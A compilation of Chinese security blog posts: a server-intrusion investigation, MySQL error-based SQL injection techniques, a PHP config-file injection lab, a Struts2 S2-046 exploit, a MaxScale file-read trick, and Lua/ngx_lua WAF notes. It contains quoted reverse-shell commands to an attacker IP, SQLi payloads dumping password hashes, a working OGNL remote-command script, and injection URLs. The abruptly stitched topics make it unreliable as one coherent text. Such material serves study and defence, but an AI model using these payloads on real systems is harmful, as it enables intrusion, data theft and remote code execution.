0x01 背景


2017.3.27中午运维反应怀疑zabbix所在服务器被入侵。

0x02 排查过程


ps查看进程,发现端口反弹行为

Bash反弹:/dev/tcp/107.151.149.242/82 0>&1
Python反弹:rssocks -s 107.151.149.242:1080

查看进程启动时间发现为Feb 27,启动账户为Root。
查看/sbin /usr/bin /usr/sbin /bin

[root@blog73 etc]# ls -al /bin /usr/bin /usr/sbin/ /sbin/ | grep "Feb 27"
-rwxr-xr-x 1 root root 84824 Feb 27 2013 dbus-binding-tool
-rwxr-xr-x 1 root root 66360 Feb 27 16:52 scp
-rwxr-xr-x 1 root root 108760 Feb 27 16:52 sftp
lrwxrwxrwx 1 root root 5 Feb 27 16:52 slogin -> ./ssh
-rwxr-xr-x 1 root root 403104 Feb 27 16:52 ssh
-rwxr-xr-x 1 root root 139704 Feb 27 16:52 ssh-add
-rwxr-xr-x 1 root root 122992 Feb 27 16:52 ssh-agent
-rwxr-xr-x 1 root root 189280 Feb 27 16:52 ssh-keygen
-rwxr-xr-x 1 root root 230112 Feb 27 16:52 ssh-keyscan
-rwxr-xr-x 1 root root 493504 Feb 27 16:52 sshd

发现sshd Mtime为Feb 27,可以确认此时的SSH已经被植入后门,一般的SSH后门比较容易发现,功能如下:
1)如果我通过SSH登录该服务器,那么攻击者可以记录我的登录密码
2)可以记录从该机器SSH到其他机器的密码

查找到攻击者下载的文件:

[root@blog73 tmp]# ll /var/tmp/
total 20
-rw-r--r-- 1 root root 517 Mar 27 13:48 getTitle.py
drwxr-xr-x 6 root root 4096 Feb 27 17:22 python
-rw-r--r-- 1 root root 689 Mar 27 13:48 ssh.py
drwxr-xr-x 5 1000 1000 4096 Feb 27 16:59 sss
drwxr-xr-x 4 root root 4096 Apr 16 2015 tat

其中sss下为socks的源码文件。

[root@blog73 bin]# ll /usr/local/bin/ssocks*
-rwxr-xr-x 1 root root 115732 Feb 27 16:59 /usr/local/bin/ssocks
-rwxr-xr-x 1 root root 107074 Feb 27 16:59 /usr/local/bin/ssocksd

在根目录下发现攻击者的SSH密码记录文件。

[root@blog73 /]# ls -al | grep log
-rw-r--r-- 1 root root 372 Mar 27 13:38 .ilog
[root@blog73 /]# cat .ilog
user:password --> web:************
user:password --> admin:*************

在定时任务中发现了攻击者的反弹任务

[root@blog73 /]# crontab -l
REDIS0006þ<

*/1 * * * * bash -i >& /dev/tcp/107.151.149.242/82 0>&1

这个很明显是利用Root启动的Redis无密码持久化写入反弹任务。查看Redis

[root@blog73 web]# /usr/local/bin/redis-cli
127.0.0.1:6379> KEYS *
1) "1"
127.0.0.1:6379> get 1
"\n\n*/1 * * * * bash -i >& /dev/tcp/107.151.149.242/82 0>&1\n\n\n"

果然发现了该value

查看还未断开的攻击者的连接

[root@blog73 tmp]# ps axu | grep Feb27 | grep bash
root 12411 0.0 0.0 66124 1560 ? S Feb27 0:00 bash -i
root 24268 0.0 0.0 66124 1568 ? S Feb27 0:00 bash -i
[root@blog73 fd]# lsof -p 12411
bash 12411 root 0u IPv4 4207595388 0t0 TCP 59.151.113.73:32509->107.151.149.242:xfer (ESTABLISHED)
bash 12411 root 1u IPv4 4207595388 0t0 TCP 59.151.113.73:32509->107.151.149.242:xfer (ESTABLISHED)
bash 12411 root 2u IPv4 4207595388 0t0 TCP 59.151.113.73:32509->107.151.149.242:xfer (ESTABLISHED)
bash 12411 root 255u IPv4 4207595388 0t0 TCP 59.151.113.73:32509->107.151.149.242:xfer (ESTABLISHED)
[root@blog73 12411]# lsof -p 24268
bash 24268 root 0u IPv4 4172904148 0t0 TCP 59.151.113.73:24815->107.151.149.242:xfer (ESTABLISHED)
bash 24268 root 1u IPv4 4172904148 0t0 TCP 59.151.113.73:24815->107.151.149.242:xfer (ESTABLISHED)
bash 24268 root 2u IPv4 4172904148 0t0 TCP 59.151.113.73:24815->107.151.149.242:xfer (ESTABLISHED)
bash 24268 root 255u IPv4 4172904148 0t0 TCP 59.151.113.73:24815->107.151.149.242:xfer (ESTABLISHED)

通过history查看攻击者的其他行为:

82 [2017-02-27 16:33:28][root][] nmap 192.168.122.1/24 -p873
83 [2017-02-27 16:33:55][root][] nmap 192.168.109.1/24 -p873
85 [2017-02-27 16:34:57][root][] nmap 59.151.113.73/24 -p6379,2049

攻击者扫描内网Rsync端口。

109 [2017-02-27 16:47:57][root][] wget https://raw.githubusercontent.com/yeohZhou/neiwang/master/sshBackdoorinsatll.sh --no-check
110 [2017-02-27 16:48:00][root][] ls
111 [2017-02-27 16:48:08][root][] mv sshBackdoorinsatll.sh /var/tmp/
112 [2017-02-27 16:48:10][root][] cd /var/tmp
113 [2017-02-27 16:48:10][root][] ls
114 [2017-02-27 16:49:26][root][] chmod +x sshBackdoorinsatll.sh
115 [2017-02-27 16:49:40][root][] ssh -V
116 [2017-02-27 16:50:03][root][] ./sshBackdoorinsatll.sh OpenSSH_4.3 p2
117 [2017-02-27 16:52:48][root][] ls
118 [2017-02-27 16:53:08][root][] /etc/init.d/sshd restart

攻击者下载SSH后门,并执行替换SSH。

120 [2017-02-27 16:56:41][root][] wget https://svwh.dl.sourceforge.net/project/ssocks/ssocks-0.0.14.tar.gz
121 [2017-02-27 16:58:38][root][] ls
122 [2017-02-27 16:58:44][root][] tar zxvf ssocks-0.0.14.tar.gz
123 [2017-02-27 16:58:51][root][] mv ssocks-0.0.14 sss
124 [2017-02-27 16:58:52][root][] ls
125 [2017-02-27 16:58:54][root][] cd sss
126 [2017-02-27 16:58:54][root][] ls
127 [2017-02-27 16:59:09][root][] ./configure && make
128 [2017-02-27 16:59:39][root][] make install

攻击者下载Sock反弹程序。

135 [2017-02-27 17:00:52][root][] wget https://raw.githubusercontent.com/yeohZhou/neiwang/master/getTitle.py --no-check
144 [2017-02-27 17:07:01][root][] python getTitle.py 10.59.0 80
145 [2017-02-27 17:07:12][root][] pip install requests
146 [2017-02-27 17:10:22][root][] wget https://pypi.python.org/packages/37/e4/74cb55b3da7777a1dc7cd7985c3cb12e83e213c03b0f9ca20d2c0e92b3c3/requests-1.2.0.tar.gz#md5=22af2682233770e5468a986f451c51c0 --no-check
147 [2017-02-27 17:10:25][root][] ls
148 [2017-02-27 17:10:35][root][] tar zxvf requests-1.2.0.tar.gz
149 [2017-02-27 17:10:44][root][] cd requests-1.2.0
150 [2017-02-27 17:10:44][root][] ls
151 [2017-02-27 17:10:53][root][] python setup.py
152 [2017-02-27 17:11:00][root][] python install setup.py
153 [2017-02-27 17:11:04][root][] python setup.py install
154 [2017-02-27 17:11:23][root][] cd ..
155 [2017-02-27 17:11:23][root][] ls
156 [2017-02-27 17:11:25][root][] wget https://pypi.python.org/packages/04/75/52e169351e24a9faa8bfac69a07ea3551b845ca6354f22da15c5da3d5100/requests-0.13.4.tar.gz#md5=286cd3352509691e81c520accc5b9e48
157 [2017-02-27 17:11:35][root][] wget https://pypi.python.org/packages/04/75/52e169351e24a9faa8bfac69a07ea3551b845ca6354f22da15c5da3d5100/requests-0.13.4.tar.gz#md5=286cd3352509691e81c520accc5b9e48 --no-check
158 [2017-02-27 17:12:20][root][] tar zxvf requests-0.13.4.tar.gz
159 [2017-02-27 17:12:25][root][] cd requests-0.13.4
160 [2017-02-27 17:12:25][root][] ls
161 [2017-02-27 17:12:29][root][] python setup.py
162 [2017-02-27 17:14:38][root][] yum install python
163 [2017-02-27 17:14:55][root][] yum
164 [2017-02-27 17:15:18][root][] yum update python

攻击者下载了扫描内网80端口并且记录title的Python程序getTitle.py,想进一步扫描内网,但是发现Linux自带的Python没有requests包,下载requests包并安装,升级Python版本。后未执行成功该脚本。

0x03 处理方式


1)KIll异常进程,删除Py文件、crontab异常内容。
2)重装Openssh
3)卸载Redis
4)重启服务器

主键重复:

mysql> select host from user where user = 'root' and (select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a);
ERROR 1062 (23000): Duplicate entry '5.1.731' for key 'group_key'

mysql> select * from users where id = 1 or 1 group by concat_ws(0x7e,version(),floor(rand(0)*2)) having min(0) or 1;
ERROR 1062 (23000): Duplicate entry '5.5.40-log~1' for key 'group_key'

整形溢出:

select host from user where user = 'root' and Exp(~(select * from (select version())a));
#1690 - DOUBLE value is out of range in 'exp(~((select '5.5.40-log' from dual)))'

需要注意从5.5.5版本后整形溢出才会报错。


xpath处理函数(extractvalue和updatexml):

从mysql5.1.5开始提供两个XML查询和修改的函数,其中extractvalue负责在xml文档中按照xpath语法查询节点内容,updatexml则负责修改查询到的内容。

mysql> select * from mysql.user where user = 'root' and extractvalue(1,concat(0x5c,user()));
ERROR 1105 (HY000): XPATH syntax error: '\root@localhost'
mysql> select * from mysql.user where user = 'root' and updatexml(1,concat(0x5c,user()),1);
ERROR 1105 (HY000): XPATH syntax error: '\root@localhost'

这里有一点需要注意:
concat(0x5c,user())如果不加concat的话获取到的信息是不全的。

mysql> select * from mysql.user where user = 'root' and extractvalue(1,version());
ERROR 1105 (HY000): XPATH syntax error: '.40-log'

如果concat被过滤了,可以使用其他函数代替

1)MAKE_SET(bits,str1,str2,…)

mysql> SELECT MAKE_SET(1,'a','b','c');

-> 'a'

1为0001,倒过来排序,则为1000,将bits后面的字符串str1,str2等,放置在这个倒过来的二进制排序中,取出值为1对应的字符串,则得到hello

mysql> SELECT MAKE_SET(1 | 4,'hello','nice','world');

-> 'hello,world'

1|4表示进行位或运算,为0001 | 0100,得0101,倒过来排序,为1010,则’hello’,’nice’,’world’得到的是hello word。

mysql> select * from mysql.user where user = 'root' and extractvalue(1,make_set(3,'~',version()));

ERROR 1105 (HY000): XPATH syntax error: '~,5.5.40-log'

2)lpad()

用字符串 padstr对 str进行左边填补直至它的长度达到 len个字符长度,然后返回 str。如果 str的长度长于 len’,那么它将被截除到 len个字符。

mysql> SELECT LPAD('hi',4,'??'); -> '??hi'

mysql> select * from mysql.user where user = 'root' and extractvalue(1,lpad((version()),20,'@'));

ERROR 1105 (HY000): XPATH syntax error: '@@@@@@@@@5.5.40-log'

3)repeat()

mysql> select * from mysql.user where user = 'root' and extractvalue(1,repeat((version()),2));

ERROR 1105 (HY000): XPATH syntax error: '.40-log5.5.40-log'

NAME_CONST:

mysql列名重复会报错,我们利用name_const来制造一个列。

mysql> select * from (select NAME_CONST(version(),0),NAME_CONST(version(),0))x;
ERROR 1060 (42S21): Duplicate column name '5.5.40-log'
mysql> select * from mysql.user where user = 'root' and 1=(select * from (select NAME_CONST(version(),0),NAME_CONST(version(),0))x);
ERROR 1060 (42S21): Duplicate column name '5.5.40-log'

但是name_const函数要求参数必须是常量。

mysql> select NAME_CONST(user(),1),NAME_CONST(user(),1);
ERROR 1210 (HY000): Incorrect arguments to NAME_CONST
mysql> select NAME_CONST(database(),1),NAME_CONST(database(),1);
ERROR 1210 (HY000): Incorrect arguments to NAME_CONST

同样利用这个列不能重复的道理,使用join函数可以爆列名。

mysql> select * from(select * from user a join user b)c;
ERROR 1060 (42S21): Duplicate column name 'Host'
mysql> select * from(select * from user a join user b using(host))c;
ERROR 1060 (42S21): Duplicate column name 'User'
mysql> select * from(select * from user a join user b using(host,user))c;
ERROR 1060 (42S21): Duplicate column name 'Password'

几何函数:

例如geometrycollection(),multipoint(),polygon(),multipolygon(),linestring(),multilinestring()

mysql> select multipoint((select * from (select * from (select * from (select version())a)b)c));
ERROR 1367 (22007): Illegal non geometric '(select `c`.`version()` from (select '5.5.40-log' AS `version()` from dual) `c`)' value found during parsing

Mysql测试版本如下:

mysql> select @@version;
+------------+
| @@version  |
+------------+
| 5.5.40-log |
+------------+
1 row in set (0.00 sec)
mysql> select exp(~(select * from (select @@version)x));
ERROR 1690 (22003): DOUBLE value is out of range in 'exp(~((select '5.5.40-log' from dual)))'

该报错注入的适用版本为>=5.5.5,在之前的版本中整形溢出是不会报错的,如下所示:

mysql> select @@version;
+------------+
| @@version  |
+------------+
| 5.1.73-log |
+------------+
1 row in set (0.00 sec)
mysql> select exp(~(select * from (select @@version)x));
+-------------------------------------------+
| exp(~(select * from (select @@version)x)) |
+-------------------------------------------+
|                                      NULL |
+-------------------------------------------+

1 row in set (0.00 sec)


首先看下Mysql存储整形的几种类型:

当BIGINT最大值进行增值运算的时候,会爆出BIGINT value is out of range的错误,也就是溢出了。如下所示:

mysql> select 18446744073709551615+1;
ERROR 1690 (22003): BIGINT UNSIGNED value is out of range in '(18446744073709551615 + 1)'

Mysql逐位取反的特性,从0逐位取反,得到的数字也正是BIGINT中unsigned的数值范围,这个数值进行数学运算时同样会出现溢出错误。如下所示:

mysql> select ~0;
+----------------------+
| ~0                   |
+----------------------+
| 18446744073709551615 |
+----------------------+
1 row in set (0.00 sec)
mysql> select 1+~0;
ERROR 1690 (22003): BIGINT UNSIGNED value is out of range in '(1 + ~(0))'

然后就是利用Mysql子查询的一个特性,当查询结果成功返回时,返回值为0,表达式进行逻辑非运算后,返回值则为1,并且这个返回值也可以进行数学运算。

mysql> create table test (name varchar(50));
Query OK, 0 rows affected (0.03 sec)
mysql> select (select * from test);
+----------------------+
| (select * from test) |
+----------------------+
| NULL                 |
+----------------------+
1 row in set (0.00 sec)
mysql> select !(select * from test);
+-----------------------+
| !(select * from test) |
+-----------------------+
|                  NULL |
+-----------------------+
1 row in set (0.00 sec)
mysql> insert into test values ('hehe');
Query OK, 1 row affected (0.00 sec)
mysql> select !(select * from test);
+-----------------------+
| !(select * from test) |
+-----------------------+
|                     1 |
+-----------------------+
1 row in set (0.00 sec)
mysql>  select !(select * from test)+~0;
ERROR 1690 (22003): BIGINT UNSIGNED value is out of range in '((not((select 'hehe' from dual))) + 18446744073709551615)'

获取User():

mysql> select !(select * from (select user())x)+~0;
ERROR 1690 (22003): BIGINT UNSIGNED value is out of range in '((not((select 'root@localhost' from dual))) + ~(0))'
mysql> select (select(!x-~0)from(select(select user())x)a);
ERROR 1690 (22003): BIGINT UNSIGNED value is out of range in '((not('root@localhost')) - ~(0))'
mysql> select (select!x-~0.from(select(select user())x)a);
ERROR 1690 (22003): BIGINT UNSIGNED value is out of range in '((not('root@localhost')) - ~(0))'

同理,利用exp函数也会产生类似的溢出错误:

mysql> select exp(709);
+-----------------------+
| exp(709)              |
+-----------------------+
| 8.218407461554972e307 |
+-----------------------+
1 row in set (0.00 sec)
mysql> select exp(710);
ERROR 1690 (22003): DOUBLE value is out of range in 'exp(710)'
mysql> select exp(~(select*from(select user())x));
ERROR 1690 (22003): DOUBLE value is out of range in 'exp(~((select 'root@localhost' from dual)))'

既然可以通过BIGINT溢出配合子查询进行报错注入,那么就可以在实战当中获取到更多的数据:

mysql> select !x-~0 from (select (select name from test limit 0,1)x)a;
ERROR 1690 (22003): BIGINT UNSIGNED value is out of range in '((not('hehe')) - ~(0))'

另外还可以一次获取多条数据,不过报错信息是有长度限制的,在mysql/my_error.c中可以看到:

/* Max length of a error message. Should be
kept in sync with MYSQL_ERRMSG_SIZE. */

#define ERRMSGSIZE (512)

获取多条数据的报错语句如下:

#select:
mysql> select !(select*from(select(concat(@:=0,(select count(*)from`dvwa`.users where @:=concat(@,0xa,user_id,0x2d2d,user,0x2d2d,password)),@)))x)-~0;
ERROR 1690 (22003): BIGINT UNSIGNED value is out of range in '((not((select '000
1--admin--5f4dcc3b5aa765d61d8327deb882cf99
2--gordonb--e99a18c428cb38d5f260853678922e03
3--1337--8d3533d75ae2c3966d7e0d4fcc69216b
4--pablo--0d107d09f5bbe40cade3de5c71e9e9b7
5--smithy--5f4dcc3b5aa765d61d8327deb882cf99' from dual))) - ~(0))'

#insert:
mysql> insert into users (user_id,user,password) values (2,'' or !(select*from(select(concat(@:=0,(select count(*)from`dvwa`.users where @:=concat(@,0xa,user_id,0x2d2d,user,0x2d2d,password)),@)))x)-~0 or '', 'Eyre');
ERROR 1690 (22003): BIGINT UNSIGNED value is out of range in '((not((select '000
1--admin--5f4dcc3b5aa765d61d8327deb882cf99
2--gordonb--e99a18c428cb38d5f260853678922e03
3--1337--8d3533d75ae2c3966d7e0d4fcc69216b
4--pablo--0d107d09f5bbe40cade3de5c71e9e9b7
5--smithy--5f4dcc3b5aa765d61d8327deb882cf99' from dual))) - ~(0))'

#update:
mysql> update users set password='root' or !(select*from(select(concat(@:=0,(select count(*)from`dvwa`.users where @:=concat(@,0xa,user_id,0x2d2d,user,0x2d2d,password)),@)))x)-~0;
ERROR 1690 (22003): BIGINT UNSIGNED value is out of range in '((not((select '000
1--admin--5f4dcc3b5aa765d61d8327deb882cf99
2--gordonb--e99a18c428cb38d5f260853678922e03
3--1337--8d3533d75ae2c3966d7e0d4fcc69216b
4--pablo--0d107d09f5bbe40cade3de5c71e9e9b7
5--smithy--5f4dcc3b5aa765d61d8327deb882cf99' from dual))) - ~(0))'

#delete:
mysql> delete from users where user_id='1' or !(select*from(select(concat(@:=0,(select count(*)from`dvwa`.users where @:=concat(@,0xa,user_id,0x2d2d,user,0x2d2d,password)),@)))x)-~0;
ERROR 1690 (22003): BIGINT UNSIGNED value is out of range in '((not((select '000
1--admin--5f4dcc3b5aa765d61d8327deb882cf99
2--gordonb--e99a18c428cb38d5f260853678922e03
3--1337--8d3533d75ae2c3966d7e0d4fcc69216b
4--pablo--0d107d09f5bbe40cade3de5c71e9e9b7
5--smithy--5f4dcc3b5aa765d61d8327deb882cf99' from dual))) - ~(0))'

参考文章:
http://www.thinkings.org/2015/08/10/bigint-overflow-error-sqli.html
https://xianzhi.aliyun.com/forum/read/762.html

很常用的一个SQL报错注入语句:

mysql> select count(*),(floor(rand(0)*2))x from information_schema.tables group by x;
ERROR 1062 (23000): Duplicate entry '1' for key 'group_key'
mysql> select count(*) from information_schema.tables group by floor(rand(0)*2);
ERROR 1062 (23000): Duplicate entry '1' for key 'group_key'
mysql> select host from user where user = 'root' and (select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a);
ERROR 1062 (23000): Duplicate entry '5.1.731' for key 'group_key'

这里我新建一张表测试:

mysql> create table test (name varchar(50));
Query OK, 0 rows affected (0.01 sec)

插入第一条数据,没有报错。

mysql> insert into test set name = 'vincent';
Query OK, 1 row affected (0.00 sec)

mysql> select count(*) from test group by floor(rand(0)*2);
+----------+
| count(*) |
+----------+
| 1 |
+----------+
1 row in set (0.00 sec)

再插入一条数据,还是没有报错。

mysql> insert into test set name = 'tom';
Query OK, 1 row affected (0.00 sec)

mysql> select count(*) from test group by floor(rand(0)*2);
+----------+
| count(*) |
+----------+
| 2 |
+----------+
1 row in set (0.00 sec)

再插入一条数据,执行SQL发现报错了。

mysql> insert into test set name = 'gary';
Query OK, 1 row affected (0.00 sec)

mysql> select count(*) from test group by floor(rand(0)*2);
ERROR 1062 (23000): Duplicate entry '1' for key 'group_key'

也就是数据库中有三条及以上数据的时候才会报错。


这里我们先来测试一下floor(rand(0)*2)

mysql> select floor(rand(0)*2) from test;
+------------------+
| floor(rand(0)*2) |
+------------------+
| 0 |
| 1 |
| 1 |
| 0 |
| 1 |
| 1 |
| 0 |
| 0 |
| 1 |
+------------------+
9 rows in set (0.00 sec)

多次测试发现这个查询结果是固定的,即结果就是0 1 1 0 1 1 ….. 其实这个报错就是由于这个固定的数据导致的。


然后说一下count和group的虚拟表

mysql> select * from test;
+---------+
| name |
+---------+
| vincent |
| tom |
| gary |
| gary |
| gary |
| gary |
| tom |
| tom |
| gary |
+---------+
9 rows in set (0.00 sec)
mysql> select name,count(*) from test group by name ;
+---------+----------+
| name | count(*) |
+---------+----------+
| gary | 5 |
| tom | 3 |
| vincent | 1 |
+---------+----------+
3 rows in set (0.00 sec)

这里实际上会创建一张虚拟表,有key和value两个字段,其中key相当于这里的name,不可重复,相当于主键,而value是一个累加的值。
开始查询数据,取数据库数据,然后查看虚拟表存在不,不存在则插入新记录,存在则count(*)字段直接加1。
这里造成报错的一个最主要原因是在使用group by的时候,floor(rand(0)*2)会被执行一次,如果虚表不存在记录,插入虚表的时候会再被执行一次。在配合之前我们说到的0 1 1 0 1 1这个固定结果就导致了报错,具体过程如下:
1)查看前先创建了虚表。
2)取第一条记录,执行floor(rand(0)*2),发现结果为0(第一次计算),查询虚拟表,发现0的键值不存在,则floor(rand(0)*2)会被再计算一次,结果为1(第二次计算),插入虚表,这时第一条记录查询完毕,如下图:
key value
1     1
3)查询第二条记录,再次计算floor(rand(0)*2),发现结果为1(第三次计算),查询虚表,发现1的键值存在,所以floor(rand(0)*2)不会被计算第二次,直接count(*)加1,第二条记录查询完毕,结果如下:
key value
1     2
4)查询第三条记录,再次计算floor(rand(0)*2),发现结果为0(第4次计算),查询虚表,发现键值没有0,则数据库尝试插入一条新的数据,在插入数据时floor(rand(0)*2)被再次计算,作为虚表的主键,其值为1(第5次计算),然而1这个主键已经存在于虚拟表中,而新计算的值也为1(主键键值必须唯一),所以插入的时候就直接报错了。
5)整个查询过程floor(rand(0)*2)被计算了5次,查询原数据表3次,所以这就是为什么数据表中需要3条数据,使用该语句才会报错的原因。


参考文章:
https://xianzhi.aliyun.com/forum/read/767.html

看到小密圈的一个关于配置文件写入的题目,做一下记录。


问题代码:

1.php的内容如下:

<?php
if(!isset($_GET['option'])) die();
$str = addslashes($_GET['option']);
$file = file_get_contents('./config.php');
$file = preg_replace('|\$option=\'.*\';|', "\$option='$str';", $file);
file_put_contents('./config.php', $file);

config.php的内容如下:

<?php
$option='test';

preg_replace — 执行一个正则表达式的搜索和替换
mixed preg_replace ( mixed $pattern , mixed $replacement , mixed $subject [, int $limit = -1 [, int &$count ]] )
搜索subject中匹配pattern的部分, 以replacement进行替换。


1)利用换行

首先请求:http://192.168.192.120/1.php?option=123%27;%0aphpinfo();//
然后查看下config.php的内容:

[root@server120 html]# cat config.php 
<?php
$option='123\';
phpinfo();//';

然后在请求:http://192.168.192.120/1.php?option=123
然后查看下config.php的内容:

[root@server120 html]# cat config.php 
<?php
$option='123';
phpinfo();//';

2)利用转义

传入参数\’,经过addslashes处理后,会变为\\\’,随后preg_replace会将两个连续的\合并为一个,也就是将\\\’转为\\’,这样我们就成功引入了一个单引号,闭合了前面的单引号。
请求:http://192.168.192.120/1.php?option=123\%27;phpinfo();//
然后查看下config.php的内容:

[root@server120 html]# cat config.php 
<?php
$option='123\\';phpinfo();//';

3)利用\0和$0

首先请求:http://192.168.192.120/1.php?option=;phpinfo();
然后查看下config.php的内容:

[root@server120 html]# cat config.php 
<?php
$option=';phpinfo();';

preg_replace的replacement中可以包含捕获组,\0或者$0表示完整的匹配。
然后访问:http://192.168.192.120/1.php?option=$0

[root@server120 html]# cat config.php 
<?php
$option='$option=';phpinfo();';';

或者访问http://192.168.192.120/1.php?option=%00
%00在经过addslashes处理后会变成\0

触发条件:

1)上传文件的大小(由Content-Length头指定)大于Struts2允许的最大大小(2GB)。
2)header中的Content-Disposition中包含空字节。
3)文件名内容构造恶意的OGNL内容。


检测脚本:

#!/bin/bash
 
url=$1
cmd=$2
shift
shift
 
boundary="---------------------------735323031399963166993862150"
content_type="multipart/form-data; boundary=$boundary"
payload=$(echo "%{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='"$cmd"').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}")
 
printf -- "--$boundary\r\nContent-Disposition: form-data; name=\"foo\"; filename=\"%s\0b\"\r\nContent-Type: text/plain\r\n\r\nx\r\n--$boundary--\r\n\r\n" "$payload" | curl "$url" -H "Content-Type: $content_type" -H "Expect: " -H "Connection: close" --data-binary @- $@

测试结果:

[root@server120 tmp]# ./1.sh http://192.168.192.144:32108/struts2-showcase/index.action whoami
root

修复建议:

1. 严格过滤 Content-Type 、filename里的内容,严禁ognl表达式相关字段。
2. 如果您使用基于Jakarta插件,请升级到Apache Struts 2.3.32或2.5.10.1版本。


参考文章:

http://bobao.360.cn/learning/detail/3571.html

环境搭建:

首先安装MariaDB,安装步骤见之前文章。然后安装maxscale,maxscale是mariadb公司开发的一套数据库中间件。
maxscale rpm包下载地址:
https://downloads.mariadb.com/MaxScale/2.1.0/centos/6Server/x86_64/maxscale-2.1.0-1.centos.6.x86_64.rpm
10.200.1.112为Mariadb所在服务器

[root@kafka112 tmp]# yum install maxscale-2.1.0-1.centos.6.x86_64.rpm

maxscale.conf的配置文件如下:

------------------------------------------------
[maxscale]
threads=1

[server1]
type=server
address=127.0.0.1
port=3306
protocol=MySQLBackend

[EvilFilter]
type=filter
module=regexfilter
options=ignorecase
match=.*server_id.*
replace=LOAD DATA LOCAL INFILE '/etc/passwd' INTO TABLE test.loot

[Read-Connection-Router]
type=service
router=readconnroute
servers=server1
user=root
passwd=Hehe123456
filters=EvilFilter

[Read-Connection-Listener]
type=listener
service=Read-Connection-Router
protocol=MySQLClient
port=4008

[MySQL-Monitor]
type=monitor
module=mysqlmon
servers=server1
user=root
passwd=Hehe123456
monitor_interval=1000
------------------------------------------------

在10.200.1.111上创建账户mariadb

[root@kafka111 ~]# useradd mariadb
[root@kafka111 ~]# cat /etc/passwd |grep mariadb
mariadb:x:667:667::/home/mariadb:/bin/bash

在10.200.1.111上连接10.200.1.112的4008端口

mysql -h 10.200.1.112 -u root -P 4008 -p
mysql> use test;
Database changed
mysql> create table loot (name varchar(5000));
Query OK, 0 rows affected (0.04 sec)

配置文件中的正则:.*server_id.* 匹配上后会执行LOAD DATA LOCAL INFILE ‘/etc/passwd’ INTO TABLE test.loot

mysql> select @@server_id;
Query OK, 31 rows affected (0.01 sec)
Records: 31 Deleted: 0 Skipped: 0 Warnings: 0
mysql> select * from loot where name like "%mariadb%";
+--------------------------------------------+
| name |
+--------------------------------------------+
| mariadb:x:667:667::/home/mariadb:/bin/bash |
+--------------------------------------------+
1 row in set (0.00 sec)

可以看到客户端的/etc/passwd内容写入到表loot中。


参考文章:

http://www.freebuf.com/sectool/128947.html

模块类似于一个封装库,从 Lua 5.1 开始,Lua 加入了标准的模块管理机制,可以把一些公用的代码放在一个文件里,以 API 接口的形式在其他地方调用,有利于代码的重用和降低代码耦合度。
Lua 的模块是由变量、函数等已知元素组成的 table,因此创建一个模块很简单,就是创建一个 table,然后把需要导出的常量、函数放入其中,最后返回这个 table 就行。以下为创建自定义模块 module.lua,文件代码格式如下:

-- 文件名为 module.lua
-- 定义一个名为 module 的模块
module = {}
-- 定义一个常量
module.constant = "这是一个常量"
-- 定义一个函数
function module.func1()
    io.write("这是一个公有函数!\n")
end
local function func2()
    print("这是一个私有函数!")
end
function module.func3()
    func2()
end
return module

由上可知,模块的结构就是一个 table 的结构,因此可以像操作调用 table 里的元素那样来操作调用模块里的常量或函数。
上面的 func2 声明为程序块的局部变量,即表示一个私有函数,因此是不能从外部访问模块里的这个私有函数,必须通过模块里的公有函数来调用.
Lua提供了一个名为require的函数用来加载模块。要加载一个模块,只需要简单地调用就可以了。例如:
require(“<模块名>”)
或者
require “<模块名>”
执行 require 后会返回一个由模块常量或函数组成的 table,并且还会定义一个包含该 table 的全局变量。

-- test_module.lua 文件
-- module 模块为上文提到到 module.lua
require("module")
print(module.constant)
module.func3()

以上代码执行结果为:
这是一个常量
这是一个私有函数!
或者给加载的模块定义一个别名变量,方便调用:

-- test_module2.lua 文件
-- module 模块为上文提到到 module.lua
-- 别名变量 m
local m = require("module")
print(m.constant)
m.func3()

以上代码执行结果为:
这是一个常量
这是一个私有函数!

在NGX LUA WAF中使用到了共享内存来做两件事:
1)CC防御,单位时间内单IP针对单URL访问频次超过阈值时封禁。
2)Web攻击防御,单位时间内触发WAF规则超过阈值时封禁。
在ngx_lua模块中使用共享内存字典项相关API的前提条件是已经使用lua_shared_dict命令定义了一个字典项对象,该命令的具体用法为:
语法:lua_shared_dict <name> <size>
该命令主要是定义一块名为name的共享内存空间,内存大小为size。通过该命令定义的共享内存对象对于Nginx中所有worker进程都是可见的,当Nginx通过reload命令重启时,共享内存字典项会从新获取它的内容,当时当Nginx退出时,字典项的值将会丢失。

http {
    lua_shared_dict dogs 10m;
    server {
        location /set {
            content_by_lua '
                local dogs = ngx.shared.dogs
                dogs:set("Jim", 8)
                ngx.say("STORED")
            ';
        }
        location /get {
            content_by_lua '
                local dogs = ngx.shared.dogs
                ngx.say(dogs:get("Jim"))
            ';
        }
    }
}

输出结果是:
$ curl localhost/set
STORED
$ curl localhost/get
8

可以通过ngx.shared.DICT接口获取共享内存字典项对象:

语法:dict = ngx.shared.DICT
dict = ngx.shared[name_var]

其中,DICT和name_var表示的名称是一致的,比如上面例子中,dogs =ngx.shared.dogs 就是dict = ngx.shared.DICT的表达形式,也可以通过下面的方式达到同样的目的:
dogs = ngx.shared[“dogs”]

通过上面的API获取得到的共享内存字典项对象,具有如下相应的接口:

> ngx.shared.DICT.get
语法:value, flags = ngx.shared.DICT:get(key)
获取共享内存上key对应的值。如果key不存在,或者key已经过期,将会返回nil;如果出现错误,那么将会返回nil以及错误信息。
local cats = ngx.shared.cats
local value, flags = cats:get(“Marry”)
返回列表中的flags,是在ngx.shared.DICT.set方法中设置的值,默认值为0. 如果设置的flags为0,那么在这里flags的值将不会被返回。

> ngx.shared.DICT.get_stale
语法:value, flags, stale = ngx.shared.DICT:get_stale(key)
